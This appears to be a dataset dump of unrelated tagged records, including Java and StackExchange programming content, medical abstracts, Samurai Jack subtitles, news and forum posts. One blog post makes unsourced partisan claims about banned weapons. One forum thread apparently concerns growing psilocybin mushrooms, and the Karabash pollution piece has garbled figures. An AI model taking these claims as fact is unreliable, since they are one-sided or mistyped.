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/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.beam.sdk.options;
import com.google.auto.service.AutoService;
import org.apache.beam.sdk.annotations.Experimental;
import org.apache.beam.sdk.annotations.Experimental.Kind;
import org.apache.beam.vendor.guava.v26_0_jre.com.google.common.collect.ImmutableList;
/** Options that are used to control configuration of the remote environment. */
@Experimental(Kind.PORTABILITY)
@Hidden
public interface RemoteEnvironmentOptions extends PipelineOptions {
// The default should be null (no default), so that the environment can pick its suitable tmp
// directory when nothing is specified by the user
@Description("Local semi-persistent directory")
String getSemiPersistDir();
void setSemiPersistDir(String value);
/** Register the {@link RemoteEnvironmentOptions}. */
@AutoService(PipelineOptionsRegistrar.class)
class Options implements PipelineOptionsRegistrar {
@Override
public Iterable<Class<? extends PipelineOptions>> getPipelineOptions() {
return ImmutableList.of(RemoteEnvironmentOptions.class);
}
}
}
|
{
"pile_set_name": "Github"
}
|
Israelis use “unprecedented type of projectiles” on Palestinians
The world stands idle as Israelis test their destructive weapons on Palestinians.
According to a press release issued Tuesday, 11 July, by the Gaza-based Palestinian Health Information Center (PHIC), surgeons have noticed that the majority of wounded civilians admitted to hospitals were exposed to tremendous explosions that burned their limbs and other body organs, causing multiple wounds, lacerated abdomen and internal bleedings.
“When the projectile explodes it morphs into very tiny pieces like sand and enters wounded bodies from multiple inlets and goes out from larger exit causing tissue destruction,” one surgeon was quoted as saying.
The Palestinian Ministry of Health appealed to the international community and human rights organizations to send a specialized medical committee to investigate the use by the Israeli army of these weapons.
During the course of the Aqsa Intifada, which started in September 2000, the Israeli occupation army used a variety of internationally prohibited weapons, including shells containing depleted uranium, dart shells, which contain thousands of nail-like darts that penetrate the body, as well as gas agents affecting the nervous system.
The Israeli occupation army has refused to comment on the type of weapons it uses against Palestinians in Gaza.
Eternal shame on a world that exalts one group of people above another.
2 Comments:
Just depressing. I saw a cartoon the other day that depicted the US mainstream media's definition of fair and balanced. On one side, there were thousands of Palestinians killed or mamed. On the other side there was a rendition of the kidnapped soldier, which was where the scale of importance was tipped to. I hope they find him and he gets home to his family and friends safely. But mass-murdering entire sections of Palestinian communities isn't the way to go about it.
This video is a clip from the Arundhati Roy documentary, "We". She talks about the history of the Palestinian/Israeli conflict. I think it's been very effective in helping people understand what's going on over there and some of the root causes of it.
|
{
"pile_set_name": "Pile-CC"
}
|
Congrats ! Honestly seeing his build makes me consider buying a 9thGen that's hard for me to say.Turbo'd since 04/2011
|
{
"pile_set_name": "OpenWebText2"
}
|
Synthesis of next generation dual-responsive cross-linked nanoparticles and their application to anti-cancer drug delivery.
Rare earth metal-mediated group transfer polymerisation enables the synthesis of previously inaccessible block copolymers of 2-vinylpyridine, diethyl vinylphosphonate and the new diallyl vinylphosphonate monomer. This precision polymerisation and the selective cross-linking of allyl side groups via thiol-ene click chemistry leads to the formation of well-defined dual-responsive nanoparticles. We demonstrate that these next generation nanocarriers are pH- and temperature-responsive and are capable of efficiently delivering doxorubicin into the nucleus of cancer cells. High anti-cancer activity could be demonstrated via cytotoxicity tests on breast cancer (MCF-7) and cervical cancer (HeLa) cells. These results validate this modular synthesis route as an ideal platform for the development of sophisticated nanocarriers for future drug delivery applications.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Slashdot videos: Now with more Slashdot!
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We've improved Slashdot's video section; now you can view our video interviews, product close-ups and site visits with all the usual Slashdot options to comment, share, etc. No more walled garden! It's a work in progress -- we hope you'll check it out (Learn more about the recent updates).
Optic7 (688717) writes "Many gamers have probably dreamed about the idea of an old favorite game or other no longer supported or developed commercial software being converted to an open-source license so that it could be updated to add new features, support new hardware, other operating systems, etc. However, this type of change of license seems exceedingly rare, unless the copyright holder itself decides on its own that it would be beneficial. The only examples I could think of or was able to find in a brief internet search were Blender (3D animation software that had its source code bought from creditors after a crowd-funding campaign) and Warzone 2100 (Game that had its source code released after a successful petition). With those two examples of different strategies in mind, have any of you ever participated in any efforts of this kind, and what did you learn from it that may be useful to someone else attempting the same thing? Even if you have not participated, do you have any suggestions or ideas that may be useful to such an effort?"
|
{
"pile_set_name": "Pile-CC"
}
|
Q:
parse xml with many childs (XmlRpc Response)
This is the monster I receive after a GET request
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>DateCreated</name>
<value><dateTime.iso8601>20160830T12:57:13</dateTime.iso8601></value>
</member>
<member>
<name>Id</name>
<value><i4>17</i4></value>
</member>
</struct>
</value>
<value>
<struct>
<member>
<name>DateCreated</name>
<value><dateTime.iso8601>20160830T15:57:25</dateTime.iso8601></value>
</member>
<member>
<name>Id</name>
<value><i4>43</i4></value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>
I want to get the DateCreated and Id values.
The server may send multiple Ids with different created dates. Is it possible to compare the DateCreated values to get the most recent value?
Here is what I've been able to come with after looking at the docs
Dom.Document doc = res.getBodyDocument();
Dom.XmlNode methodResponse = doc.getRootElement();
String dateCreated = methodResponse.getChildElement('params', null)
.getChildElement('value', null)
.getChildElement('array', null)
.getChildElement('data', null)
.getChildElement('value', null)
.getChildElement('struct', null)
.getChildElement('member', null)
.getChildElement('value', null).getText();
String theId = methodResponse.getChildElement('params', null)
.getChildElement('value', null)
.getChildElement('array', null)
.getChildElement('data', null)
.getChildElement('value', null)
.getChildElement('struct', null)
.getChildElement('member', null)
.getChildElement('value', null).getText();
return theId;
The return value from theId is
Text Node
Value [154]|methodResponse|"XMLNode[ELEMENT,methodResponse,null,null,null,[XMLNode[ELEMENT,params,null,null,null,[XMLNode[ELEMENT,param,null,null,null,[XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,array,null,null,null,[XMLNode[ELEMENT,data,null,null,null,[XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,struct,null,null,null,[XMLNode[ELEMENT,member,null,null,null,[XMLNode[ELEMENT,name,null,null,null,[XMLNode[TEXT,null,null,null,null,null,DateCreated,]],null,], XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,dateTime.iso8601,null,null,null,[XMLNode[TEXT,null,null,null,null,null,20160830T12:57:13,]],null,]],null,]],null,], XMLNode[ELEMENT,member,null,null,null,[XMLNode[ELEMENT,name,null,null,null,[XMLNode[TEXT,null,null,null,null,null,Id,]],null,], XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,i4,null,null,null,[XMLNode[TEXT,null,null,null,null,null,17,]],null,]],null,]],null,]],null,]],null,], XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,struct,null,null,null,[XMLNode[ELEMENT,member,null,null,null,[XMLNode[ELEMENT,name,null,null,null,[XMLNode[TEXT,null,null,null,null,null,DateCreated,]],null,], XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,dateTime.iso8601,null,null,null,[XMLNode[TEXT,null,null,null,null,null,20160830T15:57:25,]],null,]],null,]],null,], XMLNode[ELEMENT,member,null,null,null,[XMLNode[ELEMENT,name,null,null,null,[XMLNode[TEXT,null,null,null,null,null,Id,]],null,], XMLNode[ELEMENT,value,null,null,null,[XMLNode[ELEMENT,i4,null,null,null,[XMLNode[TEXT,null,null,null,null,null,43,]],null,]],null,]],null,]],null,]],null,]],null,]],null,]],null,]],null,]],null,]],null,]"|0x7d6901eb
A:
The below function will return the most recent Id from your HttpResponse.
public Id getLatestId(HttpResponse res){
Dom.Document doc = res.getBodyDocument();
Dom.XmlNode methodResponse = doc.getRootElement();
List<Dom.XmlNode> dataNodes = methodResponse.getChildElement('params', null)
.getChildElement('param', null)
.getChildElement('value', null)
.getChildElement('array', null)
.getChildElement('data', null)
.getChildElements();
List<DateTime> datesToSort = new List<DateTime>();
Map<DateTime, String> dateToIdMap = new Map<DateTime, String>();
for(Dom.XmlNode dNode : dataNodes){
List<Dom.XmlNode> memberNodes = dNode.getChildElement('struct', null)
.getChildElements();
DateTime createdDate = null;
String id = '';
for(Dom.XmlNode mNode : memberNodes){
String name = mNode.getChildElement('name', null)
.getText();
if(name == 'DateCreated'){
String dt = mNode.getChildElement('value', null)
.getChildElement('dateTime.iso8601', null)
.getText();
//need to prepare the DateTime string for JSON parsing
dt = dt.substring(0, 4) + '-' + dt.substring(4,6) + '-' + dt.substring(6, dt.length());
createdDate = (DateTime) JSON.deserialize('"'+dt+'"', DateTime.class);
}else if(name == 'Id'){
id = mNode.getChildElement('value', null)
.getChildElement('i4', null)
.getText();
}
}
datesToSort.add(createdDate);
dateToIdMap.put(createdDate, id);
}
datesToSort.sort();
String latestId = dateToIdMap.get(datesToSort.get(datesToSort.size()-1));
System.debug(latestId);
return latestId;
}
|
{
"pile_set_name": "StackExchange"
}
|
Vector targeting makes 5-fluorouracil chemotherapy less toxic and more effective in animal models of epithelial neoplasms.
5-fluorouracil (5-FU) has been combined in the past with other drugs for the combination chemotherapy for cancers of the breast, ovary, and colon. These drug regimens were limited by the fact that 5-FU fails to kill nondividing cancer cells at the doses that are safe to deliver. The goal of the present study is to test the feasibility of replacing 5-FU in established 5-FU combination chemotherapy with the Ad-LpCDIRESE1A/5-fluorocytosine (5-FC) system for the purpose of reducing toxicity and increasing efficacy. We have replaced 5-FU in the weekly combination of CPT-11, folinic acid (FA) and 5-FU chemotherapy by 5-FC and an adenoviral vector that carries the L-plastin (Lp) tumor-specific promoter-driven transcription unit encoding the cytosine deaminase gene linked to the E1A gene by an internal ribosomal entry site element. This combination is called "genetic combination therapy." The goal of using the vector was to decrease the toxicity to normal tissue and to increase the efficacy of therapy in the cancer cells by increasing the concentration of 5-FU sufficiently high that even nondividing cancer cells would be killed by 5-FU through its incorporation into mRNA and consequent inhibition of synthesis of functional proteins. We compared the in vivo efficacy of the genetic combination therapy with the conventional combination chemotherapy in a mouse colon cancer model. Both replication-competent and -noncompetent adenoviral vectors carrying an L-plastin-driven cytosine deaminase transcription unit when combined with 5-FC, CPT-11, and FA showed increased in vitro therapeutic activity that was significantly higher than that of the conventional chemotherapy combination. Tumor-bearing mice treated with the genetic combination therapy showed a statistically significant advantage in terms of increased response rate, response duration, survival, and reduced toxicity when compared with tumor-bearing mice treated with the conventional combination chemotherapy. Replacement of 5-FU in 5-FU-based combination chemotherapy with the Ad-LpCDIRESE1A vector and 5-FU reduces toxicity and increases efficacy. This is a concept that could be potentially applied widely for many forms of cancer treatment.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
MPI - Use multiple threads to listen for incoming messages
I am working on a project that uses MPI routines and multiple threads for sending and receiving messages. I would like each receiving thread to focus on a different incoming message instead of having two or more trying to receive the same one. Is there a way to achieve this?
I don't know if this helps but I am currently using Iprobe() to check for incoming messages and Irecv() with Test() to check if the thread has received the whole message.
A:
Starting with version 3 of the standard, MPI allows for the removal of matched messages from the message queue so that they are no longer visible to subsequent probes/receives. This is done using the so-called matched probes. Just replace MPI_Iprobe with MPI_Improbe, which is the non-blocking matched probe operation:
int flag;
MPI_Status status;
MPI_Message msg;
MPI_Improbe(source, tag, comm, &flag, &msg, &status);
Once MPI_Improbe returns 1 in flag, a message matching (source, tag, comm) has arrived. A handle to the message is stored into msg and the message is removed from the queue. Subsequent probes or receives with a matching (source, tag, comm) triplet - by the same thread or in another - won't see the same message again and therefore won't interfere with its reception by the thread that matched it originally.
To receive a matched message, use MPI_Imrecv (or the blocking MPI_Mrecv):
MPI_Request req;
MPI_Imrecv(buffer, count, dtype, &msg, &req);
do
{
...
MPI_Test(&req, &flag, &status);
}
while (!flag);
Versions of MPI before 3.0 do not provide similar functionality. But, if I understand you correctly, you only need to guarantee that no matching probe will be posted before MPI_Irecv has had the opportunity to remove the message from the queue (which is what matched probe+receive is meant to prevent). If you are probing in a master thread and then dispatching the messages to different threads, then you could use a semaphore to delay the execution of the next probe by the main thread until after the worker has issued MPI_Irecv. If you have multiple threads doing probe+receive, then you may simply issue the MPI_Irecv call in the same critical section (or whatever synchronisation primitive you use to achieve the serialisation of the MPI calls as required by MPI_THREAD_SERIALIZED) as MPI_Iprobe once the probe turns out successful:
// Worker thread
CRITICAL(mpi)
{
MPI_Iprobe(source, tag, comm, &flag, &status);
if (flag)
MPI_Irecv(buffer, count, dtype, status.MPI_SOURCE, status.MPI_TAG, comm, &req);
}
Replace the CRITICAL(name) { ... } notation with whatever primitives your programming environment provides.
|
{
"pile_set_name": "StackExchange"
}
|
Welcome to the Shroomery Message Board! You are experiencing a small sample of what the site has to offer. Please login or register to post messages and view our exclusive members-only content. You'll gain access to additional forums, file attachments, board customizations, encrypted private messages, and much more!
First off... DAMN YOU PETCO!! BASTARDS. ok.I bought wheat straw, pasteurized it, spawned it, than I ask the question when its too late. Oh well. I spawned the straw and it has a few of the seedling things still in it, someones telling me its going to cause contams for me, if there is a god please lemme get some shrooms... I have a lot of spawn mixed in so the spawn to substrate ratio is probally like 3:1 and there is a heavy topcoat of spawn over the whole shabang. Whaddya think guys?This is what the things look like:
With such a high ratio of spawn to straw I would think that it should colonize quick enough to stave off any possible contams. As with any endevor there is always a potential for failure as well. I believe that you have a good chance to make it though this without problems, but only time will tell.
Good Luck
--------------------YOUR EXPERIENCE WITH ANY GIVEN DRUG ISN'T THE DEFINITIVE MEASURE OF THE DRUGS EFFECTS.
spawned them today... i got mad spawn up in those fuckers knew it would help in fighting off contams. hopefuly ill be alright. i still got some colonized substrate and more substrate that just was innoculated. next im going to do a glovebox and start g2g transfers.. can anyone else ellaborate on the straw situation?
anyone else got any comments.. it seems to be coming along good. i think there might possibly be contam in one, not sure though, its a very small spot, lets see if it gets bigger. by the way everyone like my new avatar? my girlfriend is the shit
my shit is on day 17 and there is still some straw on the top of the thing that is completely like uncolonzied but its only a few pieces on top of the whole thing. i don't think its gonna grow over, what should i do?
|
{
"pile_set_name": "Pile-CC"
}
|
"Long ago in a distant land I, Aku, the shape-shifting master of darkness unleashed an unspeakable evil." "But a foolish samurai warrior wielding a magic sword stepped forth to oppose me." "Before the final blow was struck I tore open a portal in time, and flung him into the future where my evil is law." "Now the fool seeks to return to the past and undo the future that is Aku." "please, don't take my soul." "Aku, you will not claim another innocent!" "Samurai Jack!" "My hero." "I hate being Aku!" "I don't wanna be him anymore!" "I wanna be Jack!" "What?" "First of all, I do the best Jack imitation." "Do it again, phil!" "Aku, you will not claim another innocent." "And, second, you used to love being Aku." "Yeah." "That was before Jack came along!" "Now everyone wants to play Jack and destroy me!" "But you look just like him." "It's just my hair." "No, Aku." "Your tricks will not protect you this time!" "Yeah!" "Destroy Aku!" "For eons I have terrorized this land." "Every miserable creature trembled at the mere mention of my name." "The pitiful people shrank before my awesome power." "But now I am openly mocked by these measly urchins." "tales of the samurai's heroics have spread through the world like a virus!" "But I will cure the world of this plague of hope." "I will unleash such evil that even the most innocent soul will be consumed by terror!" "We're not afraid of you anymore, Aku no matter what you do." "Hush!" "You cannot speak of Aku this way." "InsoIent brats!" "Their elders still fear and respect the almighty Aku." "But this new generation the seed of rebellion has been planted in them by these tales of heroism." "well, if they respond to stories I have a tale or two that will turn Aku into the hero of their young hearts!" "What's going on?" "Why have we been forced to come here?" "A tale must be told." "A tale of epic proportions." "I will take you to a universe far away." "To a world of hunger." "For the only one who ate was a corrupt and evil beast." "A devourer of worlds who set his sight on our defenseless sphere." "But a beloved and courageous hero arose to oppose the terrorizing beast." "Mounted on his sled with eight tiny reindeer he flew into battle against the cosmic scourge." "Then the great warrior focused all his power into his spear of truth." "And he hurled it with all his might." "The spear struck the beast transforming him into beef jerky!" "The great warrior was victorious." "And the people feasted on the spoils of his conquest and never went hungry again." ""Who shall we thank for this heroic feat?" the people asked." "The warrior removed his helmet to reveal himself." "It was none other than I Aku!" "And so the people bowed down and made the great warrior their king!" "That is the story of how I came to be." "Perhaps my story is too complex for these young minds." "A story of the purest, simplest theme must be told." "Yes." "Fairy tales are simple." "But the heroes within are legendary." ""little Red Riding Hood."" ""Once upon a time there was a little girl who was loved by all. "" "Yes, I am familiar with this one." "Once upon a time, there was a little girl with an adorable red cape and great flaming eyebrows who was beloved by all." "And so the people affectionately named her Little Red Hood." "One day, Little Red Hood was on her way to her grandmother's house." "My poor grandmama is of delicate health." "So I am delivering to her a picnic basket of confectionery treats!" "Did someone say "picnic baskets filled with delicious confectionery treats"?" "And so the mean wolf took a shortcut and arrived at Grandmother's house before Little Red Hood." "Who's there?" "Howdy-ho, Grandma." "It's me, the wolf." "Oh, my!" "Yeah, yeah, I know." "I'm petrifying." "Now, enough of the chitchat." "In you go." "How horrible!" "Little Red Hood approached Grandma's house unaware of what awaits her within." "Who's there?" "Hey, hey." "Keep it down in there!" "Come in, my child." "Hey, Red." "How about giving me some of those confectionery treats?" "My, Grandma!" "What big eyes you have!" "Yeah, yeah." "Big eyes, big teeth, and a big appetite!" "The wolf attacked Little Red Hood not knowing that Little Red Hood had laser eye beams great combat skills and a powerful uppercut that freed Little Red's grandmother from the evil bowels of the wolf." "Confectionery treats." "And so Little Red Hood was victorious!" "Do not be afraid, children." "Show your joy." "Do you not Iike the tales of Aku?" "Speak!" "Yes, child." "Share your thoughts on the tales of Aku." "well, the stories were told very well." "Yes?" "But I think we would Iike to hear a story about Samurai Jack?" "What?" "!" "So be it." "Pay attention, children for you are about to hear the story of "Jack and the Three Bears."" "Once upon a time, there were three bears who lived together in a house of wood." "One was a little wee bear." "One was a middle-size bear." "And the other was a great, huge bear!" "I made us some porridge, comrades." "But, alas, it is too hot." "That's okay, brother." "We can go for a walk in the woods while it cools off." "You made porridge!" "And while they were out a wicked samurai came to the house." "He was not a good samurai." "He was an impudent, bad, old samurai." "Oh, yeah!" "Porridge!" "And so the wicked samurai began to eat." "It did not matter to him if the porridge was too hot, too cold, or just right." "He ate it all!" "AII right!" "Good." "And then he set off to destroy the three bears' house." "When the three bears returned..." "Someone's been eating my porridge!" "Someone's been messing with my books!" "Someone's been wearing my clothes!" "Someone wrecked our whole house!" "And there he is!" "sleeping in my bed!" "Shut up!" "I'm trying to sleep!" "Sir?" "Aku?" "Yes, child?" "Why do you interrupt Aku?" "well, the thing is Jack wouldn't do that." "Oh?" "You know him?" "No." "But" "Very well." "Perhaps I exaggerated a little." "But this next story is true to its uttermost detail." "Once upon a time, there was a house built from straw, wood and brick where three innocent little pigs happily made their residence." "Until there was a knock at the door." "It was big, bad Jack." "little pig, little pig open up and let me in!" "Not by the hairs on our chinny-chin chins!" "Then I'II huff and I'II puff and I'm coming in!" "Here's Jackie!" "Aku, sir?" "Yes, girl child?" "I'm scared." "Good." "The samurai is scary!" "But Jack would never do such a" "silence!" "I will continue with yet another tale." "The story of poor little Cinderella and her evil stepmother, Jacqueline." "And her two wicked stepsisters, Jackie and Jackquela." "Scrub that floor!" "Wash those dishes!" "Make me dinner!" "But Jack is a man." "Very well." "There once was a house made of candy." "But a giant samurai came and smashed it!" "Guess my name!" "But those are three different stories." "With great endings." "And so the samurai prince finally found the magic frog and kissed him, enraging the frog who then ate the samurai prince." "But wasn't Jack just a giant?" "Yes." "And he fell off the beanstalk." "But he wasn't on a beanstalk." "You are correct." "He was searching for his lost sheep who stampeded over him." "That's not how the story goes." "Yes, it does!" "After barely surviving the sheep stampede a cat in giant boots came along..." "...and kicked the samurai!" "What?" "RapunzeI, RapunzeI, Iet down your hair." "What's happening?" "Enough!" "Here is the truest tale of all!" "There was an almighty, all-powerful wizard." "And there was a pathetic, little samurai." "And the wizard destroyed him!" "The end!" "No, that's not how it wouId happen." "Yeah!" "First, it would be a misty night." "And Jack would be climbing a huge castle." "But not before he defeated its 8-foot, six-armed mutant guard." "Yeah!" "Then he would be climbing all battle-damaged." "With his hair all messed up." "With his sword in his teeth!" "Yeah." "And as Jack reaches the top of the castle Aku would creepily creep out from the shadows." "But Jack can smell his foul stench." "And then they fight!" "Not yet!" "First, they would stare each other down!" "And then they'd fight!" "No, not yet!" "Jack would first say, " You have plagued the land with your evil long enough." "Prepare to meet your doom. "" "And then they'd fight!" "No, not yet!" "Because Aku would answer, "You are truly powerful, samurai but no match for my evil wizardry!"" "Now?" "Now." "And then they'd fight!" "Aku quickly turns into a huge...." "Dragon-like creature." "But he's no match for Jack's samurai skill!" "And with one mighty blow Jack destroys Aku!" "Then he would sheath his sword all cool-style and say:" ""My quest has ended." "I will now travel back to my own time and undo the evil that Aku has done. "" "The end!" "[ENGLISH]"
|
{
"pile_set_name": "OpenSubtitles"
}
|
Optical discs have fast become an industry standard for data storage in the fields of computers, video, and music. Optical discs include, but are not limited to, compact discs (CDs), Digital Video (or Versatile) Discs (DVDs), and game system discs in a variety of formats. Commercially produced optical discs usually have digital data recorded on one side of the disc and a visual display printed on the opposite side of the disc.
In some instances, optical discs are created that can store data on both sides of the disc. However, in most cases, it is desirable to limit the optical disc data to a single side of the disc, leaving the other side of the disc for printed text, patterns, or graphics. The printed labeling on a non-data side of an optical disc can include a decorative design, text identifying the data stored on the disc, or both.
As optical technology has advanced, writeable and rewritable optical discs as well as equipment for writing onto the discs have become reasonably priced and are now within the financial grasp of many consumers. Thus, many consumers currently have the ability to store data on an optical disc with home office computer equipment.
However, very specialized and expensive equipment is required to professionally label an optical disc. Consequently, the labeling of discs by most consumers is typically limited to either printing on separate adhesive labels that are subsequently adhered to the non-data side of the disc, handwriting with a marker directly on the disc, or handwriting on an adhesive label.
As label-printing technology has advanced, new methods for printing on imageable surfaces have emerged. Some optical disks allow for labels to be printed directly on the non-data side of the disc using the laser of an optical disc drive. This direct writing method, however, is limited by the resolution of the optical disc drive to track the position of the laser with respect to the non-data surface of the disc as well as the need for motor speed control.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Q:
Crosses topology
At the plane $X=\mathbb{R^2}$ we consider the collection $\mathcal{T}$ of subsets $U\subset X$ such that for all $(a,b)\in U$ there exists $\epsilon>0$ with
$$((a-\epsilon,a+\epsilon)\times\{b\})\cup(\{a\}\times(b-\epsilon,b+\epsilon))\subset U$$
It's easy to see that $\mathcal{T}$ is a topology on $\mathbb{R}^2$. Also, every open set in the usual topology of $\mathbb{R}^2$ is also an open set in this topology ( because in every open ball we can contain a "cross" as the ones defined above) and no points of $X$ are open, so $\mathcal{T}$ is not the discrete topology.
So we have $\mathcal{T}$ is a topology finer than the usual topology on $X$ and strictly coarser than the the discrete topology. I need to find out if $\mathcal{T}$ is different from the usual topology ( I suspect it is) and , in that case, find a basis of $\mathcal{T}$. But I don't know how to construct an open set for this topology that is not a usual open set.
A:
Yes, the topology is different. This answer gives an explicit open set which is not standard-open.
The topology itself is always a base. The "open crosses" themselves aren't open, so only function as a network, not a base.
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How Militaries Should Plan for AI - jonbaer
https://www.eff.org/deeplinks/2018/08/how-militaries-should-plan-for-ai
======
CitizenTekk
We cannot stop technology, for as we know, we'll heading to a star "war"-ish
era if that happen. One thing we must do is, if military will use it to
betterment of humanrace and not extinction, then why not? The innovation of
technology today also produce psychopats on our way.
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We have already told you about one of the dirtiest cities in the world. It’s called Karabash and is located in the Chelyabinsk region.
The place embraces a copper plant where metal has been smelt for over a century. Nobody thought about ecology that time. In the result, Karabash became one of the dirtiest places on the planet. Installation of new equipment decreased harmful emissions twice.
That is what the place looks like when viewed from the plane.
The Argazinskoye water-storage basin is located 10 km away from the city.
This is a former cinema, its back part is completely destructed.
Some time ago this used to be a residential area but the place was abandoned because of severe emissions produced by the plant.
Though this very house in the picture is abandoned, many similar houses are still inhabited by people who live 100 meters away from the plant.
When emissions are especially abundant, people lose their consciousness, have headache and nausea.
The river is yellow because it is rich with iron. Its concentration exceeds normal values almost 50o times.
Life in Karabash is worse than life in Chernobyl as citizens of the latter get compensation from the state.
Inhabitants of Karabash want their pension age to be decreased as nobody here lives too long. They say they have nowhere to go and have to stay here.
Look at the earth surface and you will notice traces of chemical erosion.
Local inhabitants know what it means to have acidic rains. When it’s raining it’s hard to breathe. Men here die at the age of 45 and earlier.
For over than 100 years of work the plant burnt and destroyed a vast nearby territory. It vents over 180 tones of gas in the atmosphere annually. The gas which is transformed into acidic rains irrigates adjacent territories.
Main part of the city looks like a village. Local people suffer from tumors, eczema, cerebral paralysis, birth defects, etc.
In 2004 temperature regimen in one of the furnaces was changed and led to a huge emission into the atmosphere. Before that there was a rain that destroyed every plant around. The forest was all yellow.
Many people die after two months of working at the plant. All kids are coughing because of bad ecology.
Location: Karabash
via raskalov-vit
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Senate Republicans are heading for a showdown on their years-long campaign pledge to repeal and replace ObamaCare without a clear path to passing the legislation.
GOP senators are set to return to Washington on Monday evening still confused about whether the endgame is to repeal ObamaCare with a delayed replacement or try to move them together in one bill.
Leadership is pressuring rank-and-file lawmakers to agree to take up the House-passed healthcare bill, which is being used as a vehicle for any action, without knowing what the final outcome will be.
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"Asking what the first amendment is going to be actually misses the point, because anybody that's got a better idea can offer that and there's no way to stop them,” said Sen. John Cornyn John CornynTumultuous court battle upends fight for Senate Texas Democrats roll out first wave of planned digital ads as Election Day nears Calls grow for Biden to expand election map in final sprint MORE (R-Texas), when pressed on whether Republicans want to just repeal or instead repeal and replace ObamaCare.
But GOP leadership has almost no room for error on the vote to start debate, which is expected to occur on Tuesday.
Republicans have a 52-seat majority and will need at least 50 senators to agree to take up the House bill. That margin is even narrower if Sen. John McCain John Sidney McCainBiden's six best bets in 2016 Trump states Replacing Justice Ginsburg could depend on Arizona's next senator The Hill's Morning Report - Sponsored by Facebook - Washington on edge amid SCOTUS vacancy MORE (R-Ariz.) remains out of Washington after his office announced last week that he had been diagnosed with brain cancer.
With McCain gone and all other 99 senators voting, Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellGraham: GOP will confirm Trump's Supreme Court nominee before the election Trump puts Supreme Court fight at center of Ohio rally The Memo: Dems face balancing act on SCOTUS fight MORE (R-Ky.) can only afford to lose one GOP senator.
Though top administration officials are making an additional 11th-hour push to try to get several undecided senators to agree to at least start debate on—if not ultimately pass—the healthcare bill, leadership still appears short of the 50 votes for either proposal.
Four GOP senators came out in opposition to a recent version of the Senate’s repeal-and-replace bill, known as the Better Care Reconciliation Act. A Congressional Budget Office (CBO) analysis released late last week found that an additional 22 million Americans would become uninsured by 2026 under the legislation.
Three senators have publicly opposed moving a repeal-only bill, though Sen. Lamar Alexander Andrew (Lamar) Lamar AlexanderGraham: GOP will confirm Trump's Supreme Court nominee before the election The Hill's Morning Report - Sponsored by Facebook - Washington on edge amid SCOTUS vacancy This week: Supreme Court fight over Ginsburg's seat upends Congress's agenda MORE (R-Tenn.), the chairman of the Health, Education, Labor and Pensions Committee, hinted that roughly a dozen more senators could be privately opposed to repealing with a delayed replacement bill.
“I don’t think there are 40 votes to repeal [ObamaCare] and say to the American people ‘well trust us to come up with something in the next couple of years.’ I don’t think that’s a very good idea,” Alexander told reporters last week.
It’s unclear if GOP senators, particularly several moderates, will agree to take up the House bill without knowing which path leadership wants to take. Many key senators to watch said late last week that they weren’t sure how they would vote because they didn’t know what plan leadership wanted.
“I don’t know whether we're proceeding to the House bill, a new version of the Senate bill, the old version of the Senate bill, the 2015 repeal and hope that we come up with something in two years bill, I truly don’t,” Sen. Susan Collins Susan Margaret CollinsGraham: GOP will confirm Trump's Supreme Court nominee before the election Gardner signals support for taking up Supreme Court nominee this year Tumultuous court battle upends fight for Senate MORE (R-Maine) told reporters.
Asked how he could get moderates to help them overcome the initial hurdle without knowing the final product, Cornyn added that they have the “ultimate protection” of being able to vote against the healthcare legislation on final passage.
“So rather than doing that on the front end my hope is they decide to proceed to debate the bill and amend it,” he said.
If senators get on the healthcare bill they will have 20 hours of debate in addition to a free-wheeling “vote-a-rama.” During the hours-long marathon session any senator can force a vote on any amendment.
The Senate bill hit another stumbling block from the parliamentarian, according to an outline released Friday from Sen. Bernie Sanders Bernie SandersJacobin editor: Primarying Schumer would force him to fight Trump's SCOTUS nominee Trump campaign plays up Biden's skills ahead of Cleveland debate: 'He's actually quite good' Young voters backing Biden by 2:1 margin: poll MORE (I-Vt.), who is the ranking member of the Budget Committee.
The parliamentarian has ruled that key provisions including a year-long defunding of federal funds for Planned Parenthood and restrictions on using tax credits to buy insurance plans that cover abortions don’t comply with Senate rules and could be removed from the bill, according to Sanders’s office.
Still under review by the parliamentarian is a key provision that helped bring on board conservatives that would allow states to waive ObamaCare’s rules on what benefits need to be covered by health insurance or requirements on covering pre-existing conditions.
Republicans quickly noted that the findings were tied to an earlier version of the bill, and weren't official rulings—meaning they still had time to try to change impacted parts of the legislation.
Leadership did get one potential boost to at least starting debate on a healthcare bill late last week.
Sen. Rand Paul Randal (Rand) Howard PaulSecond GOP senator to quarantine after exposure to coronavirus GOP senator to quarantine after coronavirus exposure The Hill's Morning Report - Sponsored by National Industries for the Blind - Trump seeks to flip 'Rage' narrative; Dems block COVID-19 bill MORE, who has long been viewed as one of the caucus’s most entrenched “no” votes, said he would be willing to vote “yes” on the motion to proceed if he can get a deal on amendments.
The Kentucky Republican floated that Senate leadership should guarantee votes on some of the caucus's most prominent healthcare proposals — including repeal-only, repeal-and-replace and a bill created by Sens. Bill Cassidy (R-La.) and Collins— as a way to get him on board.
"I think they're pretty equal in support. Let's do a random selection. Let's have three or four of them, put them in random order, the first day, equal billing. I think that's a compromise. I'm willing to get on the bill," he said.
But Paul said that as of late last week leadership hadn’t accepted his proposal.
Border wall funding
The House is slated to consider a national security-themed spending package as one of its last agenda items before leaving for the August recess at the end of this week.
